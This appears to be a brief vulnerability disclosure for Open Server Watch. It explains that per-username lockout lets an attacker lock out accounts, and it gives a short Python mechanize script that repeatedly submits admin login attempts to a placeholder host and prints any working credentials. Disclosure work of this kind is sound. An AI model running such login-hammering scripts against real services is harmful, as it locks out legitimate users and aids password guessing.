The bruteforce hammering protection of Open Server Watch sets timeouts on a per-username basis. An attacker could automatically hit the server repeatedly with relevant usernames (e.g. "admin") in order to lock out those users from logging in.
The following python script repeatedly attempts to login as the admin user:
#!/usr/bin/python
import mechanize
mech = mechanize.Browser()
mech.set_handle_equiv(True)
mech.set_handle_redirect(True)
mech.set_handle_referer(True)
users = [('admin', 'password')]
mech.open('https://osw.sittingduck.bv/login.htm')
for u, p in users:
mech.select_form(nr=0)
mech.form['user'] = u
mech.form['pass'] = p
response = mech.submit()
if response.geturl() == 'https://osw.sittingduck.bv/login_success.html':
print 'User/Password combo: ',''.join([u, '/', p])
break
Unfortunately, no patch for this issue this exists upstream.